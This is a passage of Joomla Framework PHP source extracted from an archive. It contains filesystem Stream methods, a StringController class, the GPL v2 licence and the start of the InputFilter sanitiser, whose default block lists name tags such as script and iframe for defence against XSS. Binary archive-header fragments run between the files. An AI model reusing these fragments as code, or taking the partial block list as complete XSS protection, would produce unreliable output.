* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function chmod($filename = '', $mode = 0)
{
if (!$filename)
{
if (!isset($this->filename) || !$this->filename)
{
throw new FilesystemException('Filename not set');
}
$filename = $this->filename;
}
// If no mode is set use the default
if (!$mode)
{
$mode = $this->filemode;
}
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$sch = parse_url($filename, \PHP_URL_SCHEME);
// Scheme specific options; ftp's chmod support is fun.
switch ($sch)
{
case 'ftp':
case 'ftps':
$res = Helper::ftpChmod($filename, $mode);
break;
default:
$res = chmod($filename, $mode);
break;
}
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
// Seek, interestingly, returns 0 on success or -1 on failure
if ($res === false)
{
throw new FilesystemException($php_errormsg);
}
// Return the result
return true;
}
/**
* Get the stream metadata
*
* @return array header/metadata
*
* @link
https://www.php.net/manual/en/function.stream-get-meta-data.php
* @since 1.0
* @throws FilesystemException
*/
public function get_meta_data()
{
if (!$this->fh)
{
throw new FilesystemException('File not open');
}
return stream_get_meta_data($this->fh);
}
/**
* Stream contexts
* Builds the context from the array
*
* @return void
*
* @since 1.0
*/
public function _buildContext()
{
// According to the manual this always works!
if (\count($this->contextOptions))
{
$this->context = @stream_context_create($this->contextOptions);
}
else
{
$this->context = null;
}
}
/**
* Updates the context to the array
*
* Format is the same as the options for stream_context_create
*
* @param array $context Options to create the context with
*
* @return void
*
* @link https://www.php.net/stream_context_create
* @since 1.0
*/
public function setContextOptions($context)
{
$this->contextOptions = $context;
$this->_buildContext();
}
/**
* Adds a particular options to the context
*
* @param string $wrapper The wrapper to use
* @param string $name The option to set
* @param string $value The value of the option
*
* @return void
*
* @link https://www.php.net/stream_context_create Stream Context
Creation
* @link https://www.php.net/manual/en/context.php Context Options for
various streams
* @since 1.0
*/
public function addContextEntry($wrapper, $name, $value)
{
$this->contextOptions[$wrapper][$name] = $value;
$this->_buildContext();
}
/**
* Deletes a particular setting from a context
*
* @param string $wrapper The wrapper to use
* @param string $name The option to unset
*
* @return void
*
* @link https://www.php.net/stream_context_create
* @since 1.0
*/
public function deleteContextEntry($wrapper, $name)
{
// Check whether the wrapper is set
if (isset($this->contextOptions[$wrapper]))
{
// Check that entry is set for that wrapper
if (isset($this->contextOptions[$wrapper][$name]))
{
// Unset the item
unset($this->contextOptions[$wrapper][$name]);
// Check that there are still items there
if (!\count($this->contextOptions[$wrapper]))
{
// Clean up an empty wrapper context option
unset($this->contextOptions[$wrapper]);
}
}
}
// Rebuild the context and apply it to the stream
$this->_buildContext();
}
/**
* Applies the current context to the stream
*
* Use this to change the values of the context after you've opened a
stream
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function applyContextToStream()
{
$retval = false;
if ($this->fh)
{
// Capture PHP errors
$php_errormsg = 'Unknown error setting context option';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$retval = @stream_context_set_option($this->fh,
$this->contextOptions);
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$retval)
{
throw new FilesystemException($php_errormsg);
}
}
return $retval;
}
/**
* Stream filters
* Append a filter to the chain
*
* @param string $filtername The key name of the filter.
* @param integer $readWrite Optional. Defaults to
STREAM_FILTER_READ.
* @param array $params An array of params for the
stream_filter_append call.
*
* @return resource|boolean
*
* @link
https://www.php.net/manual/en/function.stream-filter-append.php
* @since 1.0
* @throws FilesystemException
*/
public function appendFilter($filtername, $readWrite =
\STREAM_FILTER_READ, $params = array())
{
$res = false;
if ($this->fh)
{
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$res = @stream_filter_append($this->fh, $filtername, $readWrite,
$params);
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
if (!$res && $php_errormsg)
{
throw new FilesystemException($php_errormsg);
}
$this->filters[] = &$res;
}
return $res;
}
/**
* Prepend a filter to the chain
*
* @param string $filtername The key name of the filter.
* @param integer $readWrite Optional. Defaults to
STREAM_FILTER_READ.
* @param array $params An array of params for the
stream_filter_prepend call.
*
* @return resource|boolean
*
* @link
https://www.php.net/manual/en/function.stream-filter-prepend.php
* @since 1.0
* @throws FilesystemException
*/
public function prependFilter($filtername, $readWrite =
\STREAM_FILTER_READ, $params = array())
{
$res = false;
if ($this->fh)
{
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$res = @stream_filter_prepend($this->fh, $filtername, $readWrite,
$params);
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
if (!$res && $php_errormsg)
{
// Set the error msg
throw new FilesystemException($php_errormsg);
}
array_unshift($this->filters, '');
$this->filters[0] = &$res;
}
return $res;
}
/**
* Remove a filter, either by resource (handed out from the append or
prepend function)
* or via getting the filter list)
*
* @param resource $resource The resource.
* @param boolean $byindex The index of the filter.
*
* @return boolean Result of operation
*
* @since 1.0
* @throws FilesystemException
*/
public function removeFilter(&$resource, $byindex = false)
{
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
if ($byindex)
{
$res = stream_filter_remove($this->filters[$resource]);
}
else
{
$res = stream_filter_remove($resource);
}
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
if (!$res)
{
throw new FilesystemException($php_errormsg);
}
return $res;
}
/**
* Copy a file from src to dest
*
* @param string $src The file path to copy from.
* @param string $dest The file path to copy to.
* @param resource $context A valid context resource (optional)
created with stream_context_create.
* @param boolean $usePrefix Controls the use of a prefix (optional).
* @param boolean $relative Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function copy($src, $dest, $context = null, $usePrefix = true,
$relative = false)
{
// Capture PHP errors
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$chmodDest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);
// Since we're going to open the file directly we need to get the
filename.
// We need to use the same prefix so force everything to write.
$src = $this->_getFilename($src, 'w', $usePrefix,
$relative);
$dest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);
// One supplied at copy; overrides everything
if ($context)
{
// Use the provided context
$res = @copy($src, $dest, $context);
}
elseif ($this->context)
{
// One provided at initialisation
$res = @copy($src, $dest, $this->context);
}
else
{
// No context; all defaults
$res = @copy($src, $dest);
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$res && $php_errormsg)
{
throw new FilesystemException($php_errormsg);
}
$this->chmod($chmodDest);
return $res;
}
/**
* Moves a file
*
* @param string $src The file path to move from.
* @param string $dest The file path to move to.
* @param resource $context A valid context resource (optional)
created with stream_context_create.
* @param boolean $usePrefix Controls the use of a prefix (optional).
* @param boolean $relative Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function move($src, $dest, $context = null, $usePrefix = true,
$relative = false)
{
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$src = $this->_getFilename($src, 'w', $usePrefix,
$relative);
$dest = $this->_getFilename($dest, 'w', $usePrefix,
$relative);
if ($context)
{
// Use the provided context
$res = @rename($src, $dest, $context);
}
elseif ($this->context)
{
// Use the object's context
$res = @rename($src, $dest, $this->context);
}
else
{
// Don't use any context
$res = @rename($src, $dest);
}
// Restore error tracking to what it was before
ini_set('track_errors', $trackErrors);
if (!$res)
{
throw new FilesystemException($php_errormsg);
}
$this->chmod($dest);
return $res;
}
/**
* Delete a file
*
* @param string $filename The file path to delete.
* @param resource $context A valid context resource (optional)
created with stream_context_create.
* @param boolean $usePrefix Controls the use of a prefix (optional).
* @param boolean $relative Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function delete($filename, $context = null, $usePrefix = true,
$relative = false)
{
// Capture PHP errors
$php_errormsg = '';
$trackErrors = ini_get('track_errors');
ini_set('track_errors', true);
$filename = $this->_getFilename($filename, 'w', $usePrefix,
$relative);
if ($context)
{
// Use the provided context
$res = @unlink($filename, $context);
}
elseif ($this->context)
{
// Use the object's context
$res = @unlink($filename, $this->context);
}
else
{
// Don't use any context
$res = @unlink($filename);
}
// Restore error tracking to what it was before.
ini_set('track_errors', $trackErrors);
if (!$res)
{
throw new FilesystemException($php_errormsg);
}
return $res;
}
/**
* Upload a file
*
* @param string $src The file path to copy from (usually a
temp folder).
* @param string $dest The file path to copy to.
* @param resource $context A valid context resource (optional)
created with stream_context_create.
* @param boolean $usePrefix Controls the use of a prefix (optional).
* @param boolean $relative Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
*
* @return boolean
*
* @since 1.0
* @throws FilesystemException
*/
public function upload($src, $dest, $context = null, $usePrefix = true,
$relative = false)
{
if (is_uploaded_file($src))
{
// Make sure it's an uploaded file
return $this->copy($src, $dest, $context, $usePrefix, $relative);
}
throw new FilesystemException('Not an uploaded file.');
}
/**
* Writes a chunk of data to a file.
*
* @param string $filename The file name.
* @param string $buffer The data to write to the file.
* @param boolean $appendToFile Append to the file and not overwrite
it.
*
* @return boolean
*
* @since 1.0
*/
public function writeFile($filename, &$buffer, $appendToFile = false)
{
$fileMode = 'w';
// Switch the filemode when we want to append to the file
if ($appendToFile)
{
$fileMode = 'a';
}
if ($this->open($filename, $fileMode))
{
$result = $this->write($buffer);
$this->chmod();
$this->close();
return $result;
}
return false;
}
/**
* Determine the appropriate 'filename' of a file
*
* @param string $filename Original filename of the file
* @param string $mode Mode string to retrieve the filename
* @param boolean $usePrefix Controls the use of a prefix
* @param boolean $relative Determines if the filename given is
relative. Relative paths do not have JPATH_ROOT stripped.
*
* @return string
*
* @since 1.0
*/
public function _getFilename($filename, $mode, $usePrefix, $relative)
{
if ($usePrefix)
{
// Get rid of binary or t, should be at the end of the string
$tmode = trim($mode, 'btf123456789');
$stream = explode('://', $filename, 2);
$scheme = '';
$filename = $stream[0];
if (\count($stream) >= 2)
{
$scheme = $stream[0] . '://';
$filename = $stream[1];
}
// Check if it's a write mode then add the appropriate prefix
if (\in_array($tmode, Helper::getWriteModes()))
{
$prefixToUse = $this->writeprefix;
}
else
{
$prefixToUse = $this->readprefix;
}
// Get rid of JPATH_ROOT (legacy compat)
if (!$relative && $prefixToUse)
{
$pos = strpos($filename, JPATH_ROOT);
if ($pos !== false)
{
$filename = substr_replace($filename, '', $pos,
\strlen(JPATH_ROOT));
}
}
$filename = ($prefixToUse ? $prefixToUse : '') . $filename;
}
return $filename;
}
/**
* Return the internal file handle
*
* @return File handler
*
* @since 1.0
*/
public function getFileHandle()
{
return $this->fh;
}
/**
* Modifies a property of the object, creating it if it does not already
exist.
*
* @param string $property The name of the property.
* @param mixed $value The value of the property to set.
*
* @return mixed Previous value of the property.
*
* @since 1.0
*/
public function set($property, $value = null)
{
$previous = isset($this->$property) ? $this->$property :
null;
$this->$property = $value;
return $previous;
}
/**
* Returns a property of the object or the default value if the property
is not set.
*
* @param string $property The name of the property.
* @param mixed $default The default value.
*
* @return mixed The value of the property.
*
* @since 1.0
*/
public function get($property, $default = null)
{
if (isset($this->$property))
{
return $this->$property;
}
return $default;
}
}
PKą�[�l1���+filesystem/src/Support/StringController.phpnu�[���<?php
/**
* Part of the Joomla Framework Filesystem Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filesystem\Support;
/**
* String Controller
*
* @since 1.0
*/
class StringController
{
/**
* Internal string references
*
* @var array
* @ssince 1.4.0
*/
private static $strings = array();
/**
* Defines a variable as an array
*
* @return array
*
* @since 1.0
* @deprecated 2.0 Use `getArray` instead.
*/
public static function _getArray()
{
return self::getArray();
}
/**
* Defines a variable as an array
*
* @return array
*
* @since 1.4.0
*/
public static function getArray()
{
return self::$strings;
}
/**
* Create a reference
*
* @param string $reference The key
* @param string $string The value
*
* @return void
*
* @since 1.0
*/
public static function createRef($reference, &$string)
{
self::$strings[$reference] = & $string;
}
/**
* Get reference
*
* @param string $reference The key for the reference.
*
* @return mixed False if not set, reference if it exists
*
* @since 1.0
*/
public static function getRef($reference)
{
if (isset(self::$strings[$reference]))
{
return self::$strings[$reference];
}
return false;
}
}
PKą�[�P�E�Efilter/LICENSEnu�[���GNU GENERAL
PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as
"you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.
<one line to give the program's name and a brief idea of what it
does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James
Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
PKą�[�6��AsAsfilter/src/InputFilter.phpnu�[���<?php
/**
* Part of the Joomla Framework Filter Package
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
namespace Joomla\Filter;
use Joomla\String\StringHelper;
/**
* InputFilter is a class for filtering input from any data source
*
* Forked from the php input filter library by: Daniel Morris
<dan@rootcube.com>
* Original Contributors: Gianpaolo Racca, Ghislain Picard, Marco
Wandschneider, Chris Tobin and Andrew Eddie.
*
* @since 1.0
*/
class InputFilter
{
/**
* Defines the InputFilter instance should use a whitelist method for
sanitising tags.
*
* @var integer
* @since 1.3.0
* @deprecated 2.0
*/
const TAGS_WHITELIST = 0;
/**
* Defines the InputFilter instance should use a blacklist method for
sanitising tags.
*
* @var integer
* @since 1.3.0
* @deprecated 2.0
*/
const TAGS_BLACKLIST = 1;
/**
* Defines the InputFilter instance should use a whitelist method for
sanitising attributes.
*
* @var integer
* @since 1.3.0
* @deprecated 2.0
*/
const ATTR_WHITELIST = 0;
/**
* Defines the InputFilter instance should use a blacklist method for
sanitising attributes.
*
* @var integer
* @since 1.3.0
* @deprecated 2.0
*/
const ATTR_BLACKLIST = 1;
/**
* Defines the InputFilter instance should only allow the supplied list of
HTML tags.
*
* @var integer
* @since 1.3.0
*/
const ONLY_ALLOW_DEFINED_TAGS = 0;
/**
* Defines the InputFilter instance should block the defined list of tags
and allow all others.
*
* @var integer
* @since 1.3.0
*/
const ONLY_BLOCK_DEFINED_TAGS = 1;
/**
* Defines the InputFilter instance should only allow the supplied list of
attributes.
*
* @var integer
* @since 1.3.0
*/
const ONLY_ALLOW_DEFINED_ATTRIBUTES = 0;
/**
* Defines the InputFilter instance should use a block all attributes.
*
* @var integer
* @since 1.3.0
*/
const ONLY_BLOCK_DEFINED_ATTRIBUTES = 1;
/**
* A container for InputFilter instances.
*
* @var InputFilter[]
* @since 1.0
* @deprecated 1.2.0
*/
protected static $instances = array();
/**
* The array of permitted tags.
*
* @var array
* @since 1.0
*/
public $tagsArray;
/**
* The array of permitted tag attributes.
*
* @var array
* @since 1.0
*/
public $attrArray;
/**
* The method for sanitising tags
*
* @var integer
* @since 1.0
*/
public $tagsMethod;
/**
* The method for sanitising attributes
*
* @var integer
* @since 1.0
*/
public $attrMethod;
/**
* A flag for XSS checks. Only auto clean essentials = 0, Allow clean
blocked tags/attr = 1
*
* @var integer
* @since 1.0
*/
public $xssAuto;
/**
* The list of the default blocked tags.
*
* @var array
* @since 1.0
* @notes This property will be renamed to $blockedTags in version 2.0
*/
public $tagBlacklist = array(
'applet',
'body',
'bgsound',
'base',
'basefont',
'canvas',
'embed',
'frame',
'frameset',
'head',
'html',
'id',
'iframe',
'ilayer',
'layer',
'link',
'meta',
'name',
'object',
'script',
'style',
'title',
'xml',
);
/**
* The list of the default blacklisted tag attributes. All event handlers
implicit.
*
* @var array
* @since 1.0
* @notes This property will be renamed to $blockedAttributes in version
2.0
*/
public $attrBlacklist = array(
'action',
'background',
'codebase',
'dynsrc',
'formaction',
'lowsrc',
);
/**
* A special list of blocked chars
*
* @var array
* @since 1.3.3
*/
private $blockedChars = array(
'&tab;',
'&space;',
':',
'&column;',
);
/**
* Constructor for InputFilter class.
*
* @param array $tagsArray List of user-defined tags
* @param array $attrArray List of user-defined attributes
* @param integer $tagsMethod The constant
static::ONLY_ALLOW_DEFINED_TAGS or static::BLOCK_DEFINED_TAGS
* @param integer $attrMethod The constant
static::ONLY_ALLOW_DEFINED_ATTRIBUTES or static::BLOCK_DEFINED_ATTRIBUTES
* @param integer $xssAuto Only auto clean essentials = 0, Allow
clean blocked tags/attributes = 1
*
* @since 1.0
*/
public function __construct($tagsArray = array(), $attrArray = array(),
$tagsMethod = self::TAGS_WHITELIST, $attrMethod = self::ATTR_WHITELIST,
$xssAuto = 1
)
{
// Make sure user defined arrays are in lowercase
$tagsArray = array_map('strtolower', (array) $tagsArray);
$attrArray = array_map('strtolower', (array) $attrArray);
// Assign member variables
$this->tagsArray = $tagsArray;
$this->attrArray = $attrArray;
$this->tagsMethod = $tagsMethod;
$this->attrMethod = $attrMethod;
$this->xssAuto = $xssAuto;
}
/**
* Method to be called by another php script. Processes for XSS and
* specified bad code.
*
* @param mixed $source Input string/array-of-string to be
'cleaned'
* @param string $type The return type for the variable:
* INT: An integer, or an array of
integers,
* UINT: An unsigned integer, or an array
of unsigned integers,
* FLOAT: A floating point number, or an
array of floating point numbers,
* BOOLEAN: A boolean value,
* WORD: A string containing A-Z or
underscores only (not case sensitive),
* ALNUM: A string containing A-Z or 0-9
only (not case sensitive),
* CMD: A string containing A-Z, 0-9,
underscores, periods or hyphens (not case sensitive),
* BASE64: A string containing A-Z, 0-9,
forward slashes, plus or equals (not case sensitive),
* STRING: A fully decoded and sanitised
string (default),
* HTML: A sanitised string,
* ARRAY: An array,
* PATH: A sanitised file path, or an array
of sanitised file paths,
* TRIM: A string trimmed from normal,
non-breaking and multibyte spaces
* USERNAME: Do not use (use an application
specific filter),
* RAW: The raw string is returned with no
filtering,
* unknown: An unknown filter will act like
STRING. If the input is an array it will return an
* array of fully decoded and
sanitised strings.
*
* @return mixed 'Cleaned' version of input parameter
*
* @since 1.0
*/
public function clean($source, $type = 'string')
{
// Handle the type constraint cases
switch (strtoupper($type))
{
case 'INT':
case 'INTEGER':
$pattern = '/[-+]?[0-9]+/';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
preg_match($pattern, (string) $eachString, $matches);
$result[] = isset($matches[0]) ? (int) $matches[0] : 0;
}
}
else
{
preg_match($pattern, (string) $source, $matches);
$result = isset($matches[0]) ? (int) $matches[0] : 0;
}
break;
case 'UINT':
$pattern = '/[-+]?[0-9]+/';
if (\is_array($source))
{
$result = array();
// Iterate through the array
foreach ($source as $eachString)
{
preg_match($pattern, (string) $eachString, $matches);
$result[] = isset($matches[0]) ? abs((int) $matches[0]) : 0;
}
}
else
{
